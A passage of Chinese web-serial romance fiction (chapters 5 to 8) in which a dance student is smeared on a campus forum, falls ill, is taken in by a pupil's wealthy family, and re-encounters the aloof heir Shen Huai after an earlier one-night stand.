木奈奈上前揽住她胳膊:“今天咱们难得有空,我联系了我的私教教练,让他给咱们俩一对二一下,正好你不是之前说想要塑形嘛?”
姜早迟疑了一下:“还是算了吧,我还有份资料要去学校拿,今天还能去学校吗?”
木奈奈当即摇头:“通知里说今天就不能入校了,还是算了吧,那份资料重要吗?”
姜早摇头,也不是很重要。上周五老师下发几张舞蹈技巧的资料,让她们拿回去看,她还没来得及拿,不过不拿也没事,那些身法技巧她都会。
木奈奈开心道:“那咱们出去逛逛吧,咱们好久没出去逛街了。”
姜早想了想:“陪我去中介那看看房子吧,看完咱们去逛逛。”本来想手机上找找房子的,不过现在既然有时间的话,直接去找中介问问周边房子也方便。
“好!”木奈奈快速应声。
木奈奈几次开车都绕过学校附近,姜早忍不住提醒她,让她开到附近,她要去找的就是学校附近的房源,肯定是学校附近的中介拥有更多的房源。
木奈奈含糊其辞的说因为有大领导来所以学校附近都封路了,她停在路边扒拉了好久的地图,费劲千辛万苦找到了一条没封路的路线,绕了三公里才开到。
落地后,木奈奈接了个电话,脸色十分难看。
姜早问她怎么了,她说是她妈妈出门前煤气没关,让她去关煤气。她离开之前,千叮咛万嘱咐让姜早别乱跑,在原地等她,等姜早点头之后,她才驱车离开。
秋天的风是微凉的,树叶潇潇落下。
姜早伸手,摇摇晃晃落下的落叶安稳的落到她手心里。
叶子又黄了,时间过得真快。三年前,她也在树下接下摇摇晃晃的树叶,当时她什么都不想,只是感叹了一句秋天来了。如今,她再次接下这片树叶,记忆重叠那一刹那,她忍不住悲凉一笑。从前万里挑一的她,是自信狂妄的;如今混入人群的她,也不过庸庸碌碌的普通人罢了。
接受自己的普通很难,好在忙起来日子过得很快,什么都来不及细想,也挺好。
突然咔嚓一声。
树叶接着摇摇晃晃的落下,落在昨天下过的雨里,泛起一阵涟漪。
她侧头望过去,一个男生正拿着相机对着她。看到她投来的目光,他匆匆忙忙放下相机,脸上不知不觉就红了一大片。她顶着红到耳根的脸,慌张低头道歉:“不,不好意思,我是学摄影的,看到刚刚那个画面太好看了,忍不住就拍下来了,如果你介意我马上删掉,实在不好意思。”
姜早轻轻摇头:“没事。”
男生鼓着勇气走到她面前,小心翼翼道:“您好,我叫向北辰,是江大的学生,可以冒昧的问一下你的名字吗?”像是生怕她误会一样,他赶紧补了一句到,“别误会,我只是想让我这张照片有名字,如果你介意的话...”
姜早嗓音轻缓:“姜早。”看他愣了一下,她怕他没听清,解释道,“生姜的姜,早上的早,姜早。”
向北辰手里抱着相机,原先害羞的神情突然变得坚毅,声音沉重道:“学姐!别管论坛上说的!我相信你!”
5. 第 5 章
姜早不明所以:“论坛?”她知道学校有个论坛,是一个讨论八卦的地方。
她向来不感兴趣这些,连账号都不曾注册过。听他方才说的那番话,自己应该是上了论坛?
向北辰突然意识到什么:“学姐还不知道?”
姜早预感不好:“方便给我看看吗?”
向北辰神情急转,口吻含糊道:“其实也不是什么大事,就是一些捕风捉影毫无根据的事情...”看姜早神情不好,他默默打开论坛把手机递过去。
那条帖子昨天出来就已经被议论声顶上了热帖,也不需要他特别点开来,帖子是个红标十分醒目——昔日舞蹈系女神如今惨做/鸡。
姜早颤手点开那条热帖,贴主放的是几张ktv门口的照片。
虽然天色昏暗,但不难看出,门口站着四个女人,穿紧身衣超短裙。文案配的是:大家自己找亮点吧,你们女神就在里面,下次偶遇不到直接去ktv点。
往下滑,大家的评论一重接一重,挖苦和嘲笑数不胜数。
她还看到一条十分刺眼的评论,内容是:难怪姓迟那个富二代说分手了,原来是知道女朋友卖去了,赶紧甩了。
紧接着评价的内容是:别乱说,人家早就分手了,他现在谈的是舞蹈系新任女神魏清雅,还是国内顶尖舞团的队员呢~
这只是第一页的回复,后面还有七八页,她不想也不愿意在看了。
她将手机递回去,逞强的给男生解释,男生说相信她,她也不管是不是真的相信她。
现在的她,只迫切的想要离开这里,那种复杂又掺杂同情的目光让她觉得无比窘迫。
她违背了木奈奈的叮嘱,走到了一个僻静的巷子里。倔强的自尊让她走的这一路,都稳稳当当不慌不忙。直到走到弄堂里,才彻底放松下来,倚靠着墙浑身泄力,任由身体随着墙面下滑,双手环住双腿,呆呆的看着地面。
那张照片确实是自己,她没办法否认,没办法和所有人解释她的际遇,就算她解释了又有多少人相信她呢?
人言可畏,那次比赛失误她就知道了。那一次她也试图向所有人解释,效果微乎其微。
跳错的人是她吗?是她,那就是错误。这次,照片里的人是她吗,是她。
一切和之前不一样,一切也和之前一样。
命运还真是喜欢捉弄人,每当她没有那么完美的时候,就要抓住她的错处,将她罚的皮开肉绽。
这次的后果,又会是怎样呢?
好过分,真的好过分,真的好过分啊。
她将头埋进了膝盖里。
木奈奈早上收到的消息恐怕不是真的放假通知,而是论坛的推送。木奈奈是想让她躲一时,可躲避解决不了问题。
她没办法一直躲着不去学校,拿不到研究生的毕业证,就没办法找到好的工作,她不可能让自己的未来再坠一层了。
休息一会儿,再休息一会儿,她对自己说。
似是有雨落下来,她也记不清了,只感觉到一阵困意,蜷缩在角落里睡了过去。
黑暗的夜里,到处是嘲笑声,她惶恐的想去看那些声音从哪里来,可四周一个人也没有。
嘲笑声伴着对她揣测的声音越来越响,越来越响,震耳欲聋,她跑了好远好运,好远好远,周围的声音只增不减。
她拖着疲惫的身体,漫无目的的走,渐渐习惯了周围声音,步子走得稳稳又慢慢。
湖面映着月,美丽而安静,她盯着湖面泛起的一阵一阵涟漪,扶着旁边的石阶慢慢坐下,目光呆呆,毫无生气。
突然,一阵声音闷闷的响起,渐渐抵过了那些陪伴已久的嘈杂声。
她抬头想听清,却发现那声音太沉太沉,明明听见了,却怎么也听不清。
她转身跑起来,心中有一道声音告诉她,一定要听清那道声音。直到路尽头,她满头大汗,双手扶着膝盖,喘息不停,打算就此放弃,那声音突然清晰了些。
是一个孩子在说话。
她说:姜姜老师不会死了吧?姜姜老师!不要啊,不要死!姜姜老师不要死啊!
她猛地抬眸,周遭的世界被撕裂,所有嘈杂的声音都消失了。
她从混沌中清醒过来,额头很重,也很沉,她费力的抬眼看,看到一抹白色,才明白额头上有块毛巾。四肢的感觉清晰了,她感觉到手上的重量。视线下移,右手正被一个小女孩紧紧攥着,小女孩脸上挂满了眼泪。
她见过这个小女孩,是培训机构里,新来的小苹果。
似是感觉到目光的落下,小苹果猛地跳起来:“妈妈!妈妈你快来!姜姜老师醒了!”
姜早看了一眼周围的环境,再听她的话,心也有几分清明了,自己应该是发烧昏过去,恰好被小苹果妈妈看到了。只是,这副狼狈的样子被孩子和家长看去,她有些窘迫。
小苹果妈妈端着水盆过来,看到她醒了,脸上的几分严肃才下去了几分,她坐到床边,心有余悸道:“小姜老师现在感觉怎么样?”
“好多了。”姜早想起身,被小苹果妈妈按了下去,她也不再挣扎,脸上挂了淡淡的笑:“谢谢。”
即使脸上挂着笑,这副苍白的脸和干裂的嘴唇,都显得她状态十分不好。
小苹果妈妈帮她把额头上的毛巾拿下来,又放在水里浸了浸。
小苹果在旁边高兴道:“姜姜老师活过来了!”
小苹果妈妈骤然严肃起来,批评道:“姜姜老师只是发烧了,不会死的,跟姜姜老师道歉。”
小苹果被这脸色吓了一跳,小心翼翼的扯住姜早垂在床侧的手,小声道:“姜姜老师对不起。”
姜早抬手摸住她的头:“没关系,老师没怪你,你先去外面玩一会。”
小孩的体质弱,她自己浑身发烫估计烧的不轻,她担心自己把病传染给小苹果。
小苹果本来还想撒娇一下,看到身边妈妈的眼神,便兴致缺缺的去外面了。
听到门关上的声音,她将眼神放在苹果妈妈的脸上,明明是一张十分端庄尊贵的脸,现在却全是和蔼。
小苹果妈妈将毛巾重新放到她额头上,叹了口气道:“我带她去古镇拍照,她指着一个巷子说看到姜姜老师,我还以为她开玩笑,结果走过去一看真的是你。你这孩子,这么大雨,又发着烧,怎么呆在那里不回家去?”
姜早惨白的嘴扯了扯,露了一个自认为好看的笑意:“我也不知道自己发烧了,只是感觉有点累就在路边休息一会儿,没想到后面还下了雨。”
她不想过多解释,便含糊了原因。
“唉,你这孩子,下次多注意自己身体,健康是自己的,别不当回事。”小苹果妈妈看到她惨白的嘴唇一拉扯,直接干裂的冒血,赶紧站起来说道:“行了,这些话一会儿再说吧,你刚恢复不能说太多话,再睡会,我去给你煮点茶水过来。”
看着恢复安静的房间,她静
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静的望着天花板,许久都不动一下。直到眼睛酸了,她才轻轻闭上。
发烧,昏昏沉沉,什么都细想不了,也挺好。
一道细小的声音在耳边响起,她知道那是门开的声音。
小苹果猫着腰鬼鬼祟祟的走进来。
“姜姜老师,这是苹果,给你吃。”
姜早看到人走到眼前,才发现她那只小手里还包裹着一个红润的苹果。她轻笑着接过:“怎么突然想到给我苹果?”
小苹果害羞道:“吃苹果对身体好,姜姜老师多吃点苹果身体就能好的快一点啦!”
姜早静静地凝望那双干净清澈的眼睛,顿了半响,抚住她的头,说:“谢谢小苹果。”
独居久了,她过惯了自己照顾自己的生活,从前生病对她来说,不过就是睡前多吃一颗药。直到现在,她才有些懂了木奈奈说的,人是需要陪伴的,这句话。
她恍然想起自己正发烧,微微往后缩了缩:“老师现在感冒了,你先出去玩会儿吧,别传染给你了。”
小苹果听她说完,掏出口罩戴上,得意道:“妈妈早就给我准备好啦?”
姜早还以为是她自己想进来的,没想到是苹果妈妈允许她进来的,便问:“妈妈让你进来的?”
小苹果点点头认真道:“妈妈说可以进来,但不能影响姜姜老师休息,我刚刚来的时候姜姜老师就醒了,不是我影响的哦~”
姜早轻笑。
客厅里,水壶里的水翻腾着热气,咕噜咕噜冒着水泡。
顶级牛皮沙发上,苹果妈妈接过王妈递过来的羊绒盖毯,轻轻落到膝盖上。
王妈走到一边,问道:“夫人怎么把小姑娘带家里来了?”沈家在商界地位太高,不管在政还是在商,都有数不清的人想要巴结沈家,上赶着送礼攀附。
外人不知道的是,沈家虽然有很多套房子,真正住的就只有这套小洋楼,他们在所谓的“沈家”蹲守,也不过是空等罢了。夫人喜欢清净,她在这里工作十几年,也从来没见过他们带人来过。
苹果妈妈靠在椅背上,闭眼揉着太阳穴:“她烧得太严重,怕去医院赶不上,就带回家让路易斯看看。”
路易斯是她们的私人医生,医术不比三甲医院那些医生差,保密性也很好。如果带到医院,被有心人看到,也不知道会不会给小姜老师惹麻烦,她也是深思熟虑过后才选择带回来的。
王妈点了点头,不再多问。她能在这里工作这么多年,也是因为她从不多嘴,安守本分。
她看了一眼时钟,问道:“要不要再去催一催路医生,已经过去十五分钟了。”
路易斯作为沈家私人医生,沈家专门给他买了一栋别墅在旁边,开车过来只要七八分钟,按理说早该到了。
王妈看到夫人点头后,才背过身打电话。电话还是和刚刚一样很快接通,他话说的含糊,说刚刚小沈总的龟冬眠了,要他去看一眼,所以耽误了一会儿。
王妈将话原封不动的转告给沈董事长夫人,沈董事长夫人听完顿时火冒三丈,拔出手机就要拨电话过去。她鲜少和这个大儿子电话,一来是她只是他的后妈,二来是之前给他介绍几个联姻对象,都让人家热脸贴冷屁股,把她这个媒人气的火冒三丈,她气的再也没主动打电话过去。
王妈知道这种场面不适合她一个外人听,提起已经热好的水壶就打算往客房走。
突然一阵熟悉的铃声响起,声音从客房传来。
6. 第 6 章
亮屏的手机从被褥里掏出,被按下红色拒接键。过了一会电话又响起来,被直接挂断了电话。
姜早打了个哈欠,没再管它。
这只手机不是她的,这电话她是不会接的。
这则电话似乎打搅了小孩儿的兴致,刚刚还滔滔不绝的说这话,这会却停下来,好奇问:“姜姜老师不接电话吗?”
姜早点头:“嗯,不认识的电话不用接,你接着说。”
小苹果坐在地上,接着刚刚的抱怨:“我妈妈说还要给我再报几个兴趣班,为了让我不要玩游戏,妈妈真是个坏人。”
姜早温声道:“你妈妈让你学这么多厉害的本领,是为了让你以后成为很厉害的大人,你想变成很厉害的大人吗?”
小苹果眨巴眨巴眼睛道:“可以变成像姜姜老师一样厉害的大人吗?”
姜早自嘲道:“老师不是厉害的大人,但老师相信小苹果未来会变成一个很厉害的大人。”
小苹果双手环胸,眼睛水灵的望着她,语气笃定:“姜姜老师跳舞像一个公主,还会教我们怎么跳,姜姜老师就是厉害的大人。”
周遭安静下来,能清晰的听到风吹过玻璃的声音。窗户露出一条缝隙,悄然吹进的风,让白色的窗帘不停地颤动。
姜早低笑出声。
小苹果晃了晃她的手,眨巴着眼:“姜姜老师还没回答我,我学那么那么多,能变成和姜姜老师一样厉害的大人吗?”
姜早没点头:“小苹果上课很认真的话,一定会变成比老师还厉害的大人。”
她说的不假,小苹果的妈妈很重视小苹果的教育,也舍得为她投资,小苹果一定会成为比她还成功的人。
她小时候舞蹈是自学的,她知道家里不宽裕,不敢跟家里说要学舞蹈,那是一个很费钱的兴趣爱好。
十六那年,她攒了一笔省吃俭用下来的生活费,背着父母偷偷报了舞蹈班,每周返校前去舞蹈班上一节课,父母也没发现。
直到高三,舞蹈班的老师发觉她的天赋,坚持要和她父母商量艺考的事情,她才得以坚持在舞蹈上。
她的路,这样曲折。
小苹果比她的路坦荡的多,一定会比她更成功。
似是听到了满意的答案,小苹果脸上是藏不住的雀跃。
姜早将被褥往上抬了抬:“苹果,老师要睡一会儿,你先出去玩一会儿吧。”
小苹果听话的点点头,出门前又装小大人,叮嘱她一定要把苹果吃了,听到肯定的答案之后,才开开心心出门。
姜早听到门关上的声音,轻轻闭上眼。心中似刚刚下了一场雨,春泥下草木横长,万物新生。
小苹果真是厉害的小孩。
不知觉中枕巾竟然湿了,她才发现自己在哭。
她仍旧发着烧,但脸上已经没有方才那股死气。再次睡过去,没再做奇怪的梦,睡得很好。
醒来的时候,接近傍晚,透明的窗摇曳着暮色的浪漫。
她撑起身才发现一旁坐着小苹果的妈妈,她觉得身体好了很多,想开口告别。
苹果妈妈早一步开口。
“感觉好一点没?”
她语气关切,眼神也忍不住的关心。
姜早总感觉那道目光与之前不同了,但又说不清其中有什么变化。
“好多了,谢谢你们。”她正打算用手抬起被角,眼角瞥到身上穿的衣服,手上动作顿住,她记得刚刚穿的不是这身。
“你之前那身湿透了,我让阿姨给你换了一身,合不合身?不合身可以换一套。”小苹果妈妈关切道。
姜早轻轻摇头,她倒不是在意这个。而是身上那些暧昧的痕迹还没退干净,也不知道阿姨给她换的时候,有没有留意到。想到这些,她脸上泛起红意。
苹果妈妈像是看穿了她的心思,故意不提那些,笑盈盈的看她:“医生说你退烧后最好再休息两天,你这两天就留在这吧。”
姜早赶忙拒绝,掀开被子:“不了不了,晚上我还有课,临时请假不太好。”
苹果妈妈按住她的手,淡然地喝了口茶:“这个简单。”
也不知道苹果妈妈给谁发了个信息,发完就朝她递来手机。
姜早放到耳边前看了一眼联系人,这不是他们老板的电话吗…
“喂,姜老师啊,你生病了啊?”
“嗯?没事的没事的,不耽误上课。”
“哎哟不行,身体要紧,给你放两天假!”
“啊,我没事,我已经感觉好多了。”
“早早啊。”那边声音忽然小了,“人家买了你
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很多私教课,我还没机会告诉你,正好你在她家,人家有啥要求,你尽量满足吧。”
“嗯…多少啊。”
“嗯…回头请你吃帝王蟹。”
姜早挂了电话,尴尬道:“我老板说给我放两天假,那辛苦您了。”
对金主的嘴脸,她和老板是一致的…
苹果妈妈接过手机,拍了两下她的手:“小姜老师,你再休息一会儿,一会儿等我儿子回来,我让阿姨过来喊你吃饭。”
姜早就这么被安排明白了。
卧室的门再次合上,姜早从床上坐起来,遥望着外面橘黄色的黄昏。习惯了不停赶路,倒是鲜少留意黄昏。
她走到床边,拉开了窗帘。
橘黄色的落日完整地洒进来,全部落到了她身上,将她染成了暖色。秋本身是冷的,落日洒下来的时候,是温热的。
她自觉放松下来,这才将视线落下去。
这是一座标准古罗马时期内廷式与围柱式院结合的住宅,庭院中央,后盖有一个青铜雕塑喷泉池,水滴溅落在周遭的玫瑰上,闪着耀眼的光泽。周遭,是郁郁葱葱的树木和花园,这显然不是普通家庭。
她没有多意外,在意料之中。大手一挥能直接买很多私教课的,家境殷实是肯定的。
就是扫了一圈都没看到大门在哪,到时候出去还得问问小苹果妈妈才行,免得迷路。
她扶额,心中想着针对小苹果的私教课程该怎么制定。她的音乐律动掌握的很好,就是体态调整还没有那么好。第一节课肯定要先针对她的站姿坐姿做调整,后期看进度跟进。
正在她脑海中不断构思之时,一辆黑色迈巴赫从林荫小道开出来,绕过圆形花坛,一直开到了别墅下。
下车的是一个浑身黑色西装的男人,他站在那里,清越端正如雪中劲松,笔挺的黑色西装干净利落,扣子扣得一丝不苟,气质优雅矜贵,似青松又似绿竹,像是古时候的世家贵公子。
姜早随意的一撇,看到那张侧脸总感觉在哪里见过,等到她再次伸长脖子望过去的时候,人已经不见了。
刚刚小苹果妈妈说,他儿子要回来。这难不成是她的儿子?可小苹果才幼儿园,和哥哥不会差这么多吧。
那,嗯,应该是小苹果爸爸吧,挺年轻的父亲。
7. 第 7 章
富丽堂皇的别墅里,满是饭菜香。
姜早扶着楼梯慢慢走下去,走下楼梯不远就是客厅,桌上最高的那道背影,着实有些眼熟。
小苹果侧头,正看到姜早下楼梯,小手指着姜早,高兴道:“姜姜老师来了~”
饭桌上另外两个人一起侧头看过来。
姜早看的那张脸,浑身一怔。手下意识挡住脸,转身就想往楼梯上走。
这张脸,她还能认不出吗?沈淮怎么会在这里?世界真小啊,这都能碰到。
手刚扶住扶梯,小苹果一路小跑过来,攥住她的衣角。
“姜姜老师,快来,阿姨今天烧了鸡汤,要趁热喝才行。”
姜早僵着脸,脚踩着第一节楼梯,恨不得从来没下过楼。她俯身凑到她耳边道:“姜姜老师身体不太舒服,还要再去休息一下,你去跟你妈妈说一声。”
“怎么还在那儿呢?刚生好病一定要吃一点才行啊小姜老师,快过来吧。”说完,还撇了一眼自己的儿子。
沈淮没什么表情,只是低头喝了口水。
姜早哦了两声,步履艰难的走过去。
她脑海中漩涡不止,晕晕乎乎的,一种未知的恐惧让她提心吊胆。
她艰难的落坐,不敢抬眼看那个浑身泛着冷气的男人。小苹果扯住她的衣袖道,“姜姜老师,我之前说要给你介绍我哥哥,就是他!你觉得他怎么样!”
哥哥?不是爸爸。
姜早松了口气,再抬眸正撞上那双黑色的眸子,她立马别开目光:“别开玩笑。”
好在没有破坏人家夫妻和谐。不过小苹果哥哥竟然是沈淮,出乎她的意料。那么也就是说...她咽了咽口水,这么大一栋房子,是沈淮用那种工作换来的。
苹果妈妈舀了一勺汤,放进姜早碗里,满脸惋惜道,“姜姜老师长得这么好看,肯定早就有男朋友了。”
“前天晚上你手机拿错了。”沈淮冷冰冰的从西装口袋里把手机递过去。
姜早没想到他会在这个时候说这件事,一下子没反应过来,有些尴尬的接过手机,心虚道:“你的我放在楼上了,我去拿给你。”这人现在提起这个,分明就是故意的。
苹果妈妈听到晚上两个字,嘴角笑意愈加浓郁,和她猜的差不多。
“吃着饭呢,一会儿再去拿吧。”苹果妈妈单手按住姜早想要起身的肩膀,轻轻拍了两下示意她好好坐下:“你们两个认识多久了?”
之前的话,小苹果听不懂,直到听到这句话,她的小耳朵才竖起来:“哥哥和姜姜老师认识吗?”
姜早手足无措,不知该怎么回答。
沈淮放下擦嘴的湿巾:“认识一段时间了。”
“藏得真好,怎么也不带回家里看看。”苹果妈妈侧头数落沈淮,脸上却是笑盈盈的,万年铁树开花啊,稀奇,稀奇。
小苹果眼中冒光:“哇!那哥哥和姜姜老师是男朋友和女朋友吗?”
苹果妈妈拿小蛋糕塞到小苹果嘴里,笑盈盈道:“小孩子还不懂,你们别理她。”顿了顿,接着道,“你们打算什么时候结婚啊?”
姜早正埋头喝汤,想早点喝完早点上楼,听到这么一句话忍不住呛出声。
沈淮低眸看她,淡淡道:“看她。”
姜早猛地抬头,对上那只眸子。她有些怀疑自己听错了,但看几人投过来的目光,确实是她听到的那句话没错。
她吞吐道:“还,还早。”
她没办法说出那晚的原因,只能任由他说,没想到他语出惊人,能胡编瞎造到这种地步。
沈淮像是认可她说的话一般,点头淡淡道:“嗯,那不急。”
姜早实在没办法任由自己在这种环境里待着了,又随便应付了几句小苹果妈妈的话,就匆匆借口上楼了。
楼下,小苹果吃饱了就去玩了。苹果妈妈眼神瞟着还在吃饭的沈淮,越看越不顺眼,伸手夺过他手里的筷子。
沈淮看着空荡的手,道:“我还没吃完。”
苹果妈妈把筷子拍桌上,清脆的一声响:“没你的份。”
沈淮拾起身后的西装,起身:“嗯,一会儿还有个跨国会要开,我先走了。”
“王妈,让阿强他们把门锁了。”苹果妈妈靠在椅背上,冷静的看着那道背影。
看到王妈出去,沈淮止住脚步。
苹果妈妈收拾着桌上的碗筷,用刻薄的语气道:“虽然我是你后妈,但后妈也是妈。你妈妈在天之灵肯定也希望你早点成家立业。你忙起来天天人影都看不到,再有耐心的姑娘也迟早跑了。今天你不许出这个门,好好陪陪你女朋友,别让我未来儿媳跑了。”
...
客房外,有人叩了两下门,姜早防备的问是谁,但外面没人回,紧接着又扣了两下,姜早走到门边,开了一道小缝。
就见沈淮正立在外面,手里拎着黑色公文包,西装已经褪下,只剩下一件白色的衬衫,显得干净又莫名疏离感。
“你...”
沈淮神情淡淡:“今天她打我电话,在你的房间听到了我的手机铃声。”
言外之意,也就是因为这个,他才会被叫到这里来。姜早这才想起自己挂断的那几个电话,原来是苹果妈妈打来的。她没想到,会有这么巧合的事。
刚刚她不好意思说,这回她正式道:“不好意思,给你添麻烦了。”
沈淮看了一眼身后,道:“如果不想继续给我添麻烦,先让我进去吧。”
姜早顺着他刚刚看的方向看过去,正看到走道的拐角处,白墙后面的一个衣角,苹果妈妈在那。
她这才退后一步,让他进来。本来就是他家,她没理由不让人进来。
关了门后,她将床头的手机递过去:“对不起,你的手机淋了点雨,不知道有没有暗病,到时候你去检查一下,维修费我来付。”
“没事。”沈淮接过手机,没检查就放进了包里,“那天的事,我会对你负责的。”
他声音清淡,又毫无感情,像是在说什么平淡的话。
姜早听到他没来由的一句话,错愕的啊了一声。
她抬眸,撞入那人视线,淡淡的又带有几分疏离,
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让人有些不敢直视。
她确实因为这件事烦恼了很久,之前以为自己和男模发生的一夜情,她想了好久,觉得人家专门干这个的,她找人家负责,是给人家添麻烦。她说不出一夜情而已这种话,她是在乎的,想了一夜想出来的法子也就是后半辈子不结婚。
现在,他说可以负责。
沈淮说:“你不就是为了这个,才来这里的吗?”
姜早突然恼火起来,自己明明是误打误撞来的,怎么在他口中,和处心积虑来的一样。她不喜欢这种被看轻的感觉,正色为自己辩解道:“我没有,我不知道你会在这。”
“嗯。”沈淮点头,也不知道听进去没有。他从手提包里拿出笔记本,放在床边的书桌上,说:“手机号我刚刚已经存到你手机里了,想好了就给我打电话。”
姜早一时不知道他到底相不相信,看着沈淮已经在书桌边坐下,还打开笔记本一副要办公的样子,丝毫没有要走的迹象。
她在床上坐下,语气委婉道:“我要休息了。”
沈淮泛着冷意的背影没有丝毫松动,那声音清淡:“嗯,我不打扰你。”
这意思不就是不走了吗?姜早一急,明示道:“你不走吗?”
沈淮似乎打开了空白的文档,不停的敲着字符,闻言点头,掺杂着键盘敲打声的语气显得机械化。他说:“门已经被她锁了,我出不去。”
姜早去到门边,一摸把手,果然门从外面被锁住了。
她无奈,只得放弃。
她回到床边,茫然的看着周围。如果有个沙发还好,可惜这间客房只有一张床可以睡人,连飘窗都没有。
也不知道是不是看出她的顾虑,沈淮侧眸看了她一眼,敲键盘的手停了停。
“今晚,我睡地上。”
姜早侧眸时,他的视线已经挪开了,手仍旧敲打着键盘,页面上是黑色的,似乎是在敲什么代码。他不是男模么?怎么还敲代码?
本来她还打算撑一会儿,但退烧后她身体并没有那么舒服,没站多久就撑不住缩回到被窝里去了。拿回手机,她看到手机上有很多未接电话,都是木奈奈打来的,她回了个消息过去,才睡觉。
沈淮丝毫没有顾及她在睡觉,键盘敲打的声音一直没有停过,像打在她脑门一样,噼里啪啦,噼里啪啦,她十分艰难的睡了过去。
后半夜,一个电话打进来。
沈淮停下敲键盘的手,走到窗边接通电话。
电话里是一个男声,严肃道:“小沈总,事情刚刚查清楚了。那女人不是赵总安排的,换班的前台不知道那间房被我们内部定走了,看系统还在空房状态,就把房间卖给这个女人了。不过小沈总还是提防着些,那女人没有拒绝你,说不定是认出你是沈氏集团的小沈总了,想要借此机会攀上你。”
“晚了。”沈淮看了一眼床上的人。
“小沈总这是什么意思?”男声紧张道。
“没什么。”沈淮收回目光,望向漆黑的夜,没回答他这句话:“订一张去莫斯科的机票,明天拿下Tina的合同。”
8. 第 8 章
姜早这两天过的都很好,自从那一晚之后,沈淮也没回来过,所以她住的还算舒服。
不过总是要分别的。
她还得去上学,不能天天在这里避世,所有问题都解决不了。
回学校的路上,她受到不少异样的目光,只能硬着头皮走下去。
她走到办公室门口,深吸一口气才敲响门。
办公室内,老教授正接过迟言递过来的请假申请,脸上故作严肃,实则打趣。听到敲门声,他喊了声进,接着和迟言聊天。
“一个月的假,上面查下来,不好说啊。”老教授手之间轻叩了两下请假申请,脸上却是笑意。
迟言架着二郎腿,笑道:“实在是小女朋友太粘人,非要缠着我陪她去休斯顿,我也没办法,您老就高抬贵手吧。”
老教授满脸嫌弃,拿起章印下去:“你啊你,和你爸一个样。”
迟言举起请假条亲了一口,笑盈盈的对着老教授道:“改天让我爸请你喝酒,还是老地方包你满意。”
他潇洒的转身,正对上姜早冷冰冰的眼睛。
“早早...”
姜早没和他叙旧的想法,看他们的交谈结束了,才走上前。
“老师,我来拿资料。”
老教授睨了她一眼,从桌子底抽出一份白纸,放到桌上:“旷课两天,今天下午考试,上午来拿资料,你干脆别来学校了,还考什么试。”
姜早将资料拿到手里:“不好意思,下次不会了。”
老教授冷冰冰道:“成绩好归成绩好,学习态度一定要端正。”
姜早被批评了一会儿,才让她出门。
迟言一直等在门外,看她出来了,急急跟上她。
“你这两天去哪里了?没见你回家。”
姜早不应他,他便直接挡在她面前。
姜早停住步子,往后退了退:“麻烦让一下。”
迟言欲言又止了好几次,最后还是强硬道:“问问不行吗?”
姜早蹙眉:“不行。”她侧身就想绕过他,奈何迟言就想铜墙铁壁一样,她走到哪里他就拦到哪里。
她忍无可忍:“你到底要做什么?”
迟言凑近她一步:“难道他们说的都是真的?你真的陪...”
“随你怎么想。”姜早心中泛起冷意,绕过他就要走。
迟言站在后面,讥讽道:“以前连吃顿饭的时间都没有,原来是在忙这些。”
姜早走到了路的拐角,她能听清这句话,心中涌起一种屈辱。明明他才是做错事情的人,竟然还因为一个谣言去归错她。但凡他平时多注意她,也应该知道,自己平时都在忙些什么,连木奈奈都知道。
姜早正愣在原地走神,拐角一道身影走出来,狠狠地撞了一下她的肩膀。
她跌在地上,捏在手里的资料散了一地。
撞人的女生看到她狼狈的样子,不着痕迹的笑了一声,随后故作惊讶道:“呀,不好意思撞到你了,你没事吧?”
姜早轻轻摇头,用胳膊试图将自己撑起来,手肘放在地上突然一阵刺痛。她侧眸看向自己的手肘,有些黯然。常年练舞,她身上伤病不少,手肘上的伤是她当初在市赛失误留下的,留下后遗症,用力的时候会很不舒服。
女生看她不起来,还以为她在装柔弱,假意要扶起她。
姜早推开她的手,说了句不用,扶着身边的墙慢慢起来。她一张一张拾起地上的资料,捡到最后一张的时候,她抬头冷淡道:“麻烦抬脚。”
女生挪开脚,双手交叉抱臂,居高临下地俯视她。
姜早收好纸,转身离开。
女生看了远处的迟言,虽然他一直在看着,却没有伸手来帮他这位前女友。女生笑着拿出手机在论坛发:最新消息,早上我看到她在纠缠前男友,不过前男友不搭理她,热脸贴冷屁股了。迟言守男德认证,家人们,可以放心磕清雅和迟言这对cp了!
姜早自然不知道她是刻意过来撞她的,她正在自习室里静静的看资料。为了避免有人打扰她,她特地选了一间没有人的闲置自习室。
到中午,她就将七张资料全部记完了。她记忆力很好,虽然是死记硬背,但都记得住。再加上她从小喜欢跳舞,也对舞蹈理论方面的知识有涉猎,这门考试对他来说并不难。
她拿开资料正打算走,突然看到桌子一顿。
窗外的光正耀眼,能清晰折出桌上近乎透明的笔痕。
她定住,没走。因为她在桌上看到了一个熟悉的名字,是沈淮。
桌上写的是沈淮x江婷天生一对,长长久久。
记忆一帧帧复苏,她回想起当初刚入学那一年。学校风靡着沈淮的传说,他是校草,也是国奖获得者,一年到头几乎都在参加比赛。他有很多追求者,但只有江婷能站在她身边,传闻沈淮也只有面对江婷的时候才会笑。他们两个参加过一个竞赛组,父母还认识,般配的和小说里的王子公主一样。
他们为什么没有在一起呢?这个好奇盘旋在她脑海里。为什么他又堕落到去做男模了呢?可能是受了情伤?
姜早不擅长揣测,揉了揉太阳穴,没再将这件事记在心里。
下午的考试,她考的很顺利,把所有知识点记住,她做题就和默写一样,很快就做完了。考场里有不少人在打量她,她不想在那里久留,提早交卷后匆匆离开。
她去了上次的房产中介那儿,把预算提了提,租到了一个靠近学校的小公寓。签好合同,已经是三点了。
她清楚室友和迟言一天的时间安排,知道这个时间他们两个绝对不在家,打车径直去了原来租房的地方。
车上,木奈奈不停地给姜早发消息过来,问她在哪里。
姜早没隐瞒,说她在搬家。
木奈奈的消息停了一会儿,半响才蹦出一条来:你等我,我从车库开车过来。她刚刚看论坛的帖子更新,才知道姜早早上去了一趟学校,她不太放心姜早,别人不知道,但她知道姜早心思其实很敏感。
姜早赶紧发了一条过去:我找搬家公司了,你不用来。
发完,她又补了一段文字发过去。
等后面搬完家请你吃饭,就上次那个火锅怎么样?
她麻烦木奈奈已经够多了,不能再麻烦她了。
她叹了口气靠在后座椅背上,不自觉闭眼有些困乏。压力和疲惫感,一切又都回来了。
手机滴滴两下,是木奈奈发的。说她总算对自己大方了一回,舍得请搬家公司了,那她就安心等她请的火锅了。
姜早关了屏幕,重新合上眼。
师傅听她叹气,看了一眼后视镜:“小姑娘,心情不好啊?”
姜早摇头,轻笑道:“没有,太困了。”
师傅笑笑:“现在的年轻人好像都这样,都把自己逼得太紧了,连一点自己的生活都没有了,死气沉沉的。有时候啊人就是要休息休息,不能像个机器人一样不要命的工作,不然活着还有什么意思。毕竟,人不是机器,你说是不是。”
